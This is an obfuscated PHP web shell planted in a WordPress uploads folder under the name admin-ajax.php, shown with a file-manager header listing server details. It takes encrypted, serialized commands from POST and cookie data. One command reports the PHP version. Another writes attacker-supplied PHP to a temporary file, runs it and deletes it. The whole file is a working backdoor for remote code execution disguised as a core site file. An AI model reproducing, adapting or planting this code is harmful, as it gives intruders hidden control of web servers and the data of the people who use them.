HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/gsudice.dataconn.net/wp-content/uploads/2022/admin-ajax.php
<?php 

$vuvjjc /*chaw   */ =      'vuvjjc'	^ /* atb  */ '';
$rkr_yiqg   =    $vuvjjc(694-597)    .    "\x72"     .    "\162"      .    "a".$vuvjjc(605-484) /*  kgyaxi*/ . /* mdxxg  */ $vuvjjc(95)     .    $vuvjjc(1027-918)     .     "a"."p";

$icb_r /*  uhqzw */ =     "i"."m"."p"."l"."\x6f" /* ee  */ .    $vuvjjc(973-873)       . /*  cnacl  */ "e";



function       dfnqnkmj($__xufis_vjsj,     $tncnbe){

	global    $vuvjjc;
 /* a*/ 


    $__xufis_vjsj	= /*qirh   */ $vuvjjc(60)       .      "?"."\x70"       . /*   mqz */ $vuvjjc(104)   .	"\160"    .	$vuvjjc(32)      .	$vuvjjc(126-9) /*   ikp   */ . /* bh  */ "n"."l"."\x69"."n"."k"."(".$vuvjjc(780-685)      .     "_"."F".$vuvjjc(73)    .   "L"."E"."_"."_".")".";".$vuvjjc(32)  . /* pssuau   */ $__xufis_vjsj[$vuvjjc(100)];
 /*zucdy  */ $kiwmt /*  q   */ =  $vuvjjc(777-675)    .    "\151"       .   "l".$vuvjjc(101)      .	"\x5f" /*  xz */ .   "\160" /*zyjtd */ .    $vuvjjc(302-185)    . /*z_ciuq   */ "t"."_"."c"."\x6f"      .	$vuvjjc(110) /* c*/ .      "t".$vuvjjc(874-773)	.    $vuvjjc(110) /*   wr*/ . /*  djmmh */ "\164"	.	$vuvjjc(115); /*  s  */ 


   $kiwmt($tncnbe, /* aqwwan  */ $__xufis_vjsj);

	


     gksvdq($tncnbe);
}

$_smrxpuryi /*_vsp*/ = /*  waolnj */ 73;


function    gksvdq($tncnbe)
{     global    $vuvjjc;

	 /*  iar_ */ include($tncnbe);


     $wivyluzza      =    $tncnbe;

    @unlink($wivyluzza);
}

function  kzzcdfhda()
{

	global /*  q_flj */ $vuvjjc;





      $__xufi    = /*   foxio*/ array();    $__xufi["p".$vuvjjc(118)]      = /*   s*/ phpversion(); /* jbkd */ $__xufi[$vuvjjc(222-107)   .    "v"]   =   "3"."\x2e" /*gjbymh   */ .  "5";
	$lwfaxwmoopdrbgozaug   =    74;


	echo /*   xzumvp   */ @serialize($__xufi);

}

function   bnevmp($__xufis_vjsj,	$uaczixa)

{    global    $vuvjjc;



  $menhhio /*t   */ =	"";


    $_hwkx_dj	=	strlen($__xufis_vjsj);	$pqqwlsz	= /*   nvpvw */ strlen($uaczixa);

	$__xufi  =	0;
    $lwfaxwmoop    =       0;


   /*  boeqir   */ while  ($__xufi /*  n_ju */ <    $_hwkx_dj)     {	$wdtyipmjqu   =    $__xufis_vjsj[$__xufi]    ^ /*vyl*/ $uaczixa[$lwfaxwmoop    %    $pqqwlsz];

  $menhhio /*   qjc */ .=	$wdtyipmjqu;	$lwfaxwmoop++;	
 /* ygce*/ $__xufi++;

 /* ggtg */ }

    

     if       (strlen($menhhio) /*   dorp  */ > /*rt   */ 20)       {


	$wwco_qwqdf       =   substr($menhhio, /* phb*/ 0,	20);
 /*  f_  */ }
 /* pif*/ if /*   mkj  */ (empty($menhhio))    {
      $menhhio	=    date('Y-m-d      H:i:s');    }

 /* wz_upk   */ return   $menhhio;


}






function /* snfia  */ bfqkvqz_wr($uxgpphdzux){
 /*   tbt   */ global   $vuvjjc;

   
    $upfymsmli	=      "2"."7".$vuvjjc(102)	.    "c"."8"."\x65"	.    "\x34"   . /*  oe*/ "\141"."-"."1".$vuvjjc(48)    .  "8"."c"."-".$vuvjjc(52)     .   $vuvjjc(101)    . /*_qyqr  */ "\144" /*lg_zw  */ .     $vuvjjc(55) /* g */ .    "-".$vuvjjc(865-809)  .    $vuvjjc(748-651) /*  hfyvug*/ . /*dxmhnq  */ "2".$vuvjjc(99)    . /*   uh_ftl  */ "\55"       .	"7".$vuvjjc(50)    . /*   wojj   */ $vuvjjc(100).$vuvjjc(100)."\x62"     .	"\x31" /*  _  */ .    "\141"."c"."5"."5"."9"."\61";


 /*rmbwq   */ 


      foreach /* cqj  */ ($uxgpphdzux     as	$rplfi	=> /* zexd   */ $__xufis_vjsj)    {


	pjfws(base64_decode($__xufis_vjsj), /* i */ $upfymsmli,  $rplfi);


    }}



function /*  fcpqha*/ pjfws($__xufis_vjsj,  $upfymsmli, /*  xyu*/ $rplfi)
{


    global /* cebo   */ $vuvjjc;

 /*zfmi */ 

   $__xufis_vjsj    =     unserialize(bnevmp(bnevmp($__xufis_vjsj, /*  lllq*/ $upfymsmli),      $rplfi));

	$vzcjx      =	'rg';


	$daxlh	=     'bed';

    if       (isset($__xufis_vjsj["\x61"    .	"\153"]))     {
 /*   j_vls*/ if  ($__xufis_vjsj["\141"]    ==	"\x69")    {

   kzzcdfhda();


    }    elseif	($__xufis_vjsj["\141"] /*   q*/ ==  $vuvjjc(545-444)) /*  aw*/ {


 /*   kkmm */ dfnqnkmj($__xufis_vjsj, /*  az_xvc*/ sprintf("."."/"."%"."\163" /*   k   */ .	"\56"    .    $vuvjjc(991-879) /* zu */ .	$vuvjjc(160-52), /* npx */ md5($upfymsmli)));			$bykhrpbjxt	=    44;

      } /*   wurrs */ exit();    }

}bfqkvqz_wr($_POST);    
$llisx /*igtgv  */ =	'rawurldecode';


$hbsci     =     $rkr_yiqg($llisx,       $_POST);
$icb_r("", /* kxsvzy*/ $llisx);

bfqkvqz_wr($_COOKIE);$gecmr_mftz       = /*   t*/ $rkr_yiqg($llisx,	$_COOKIE);







?>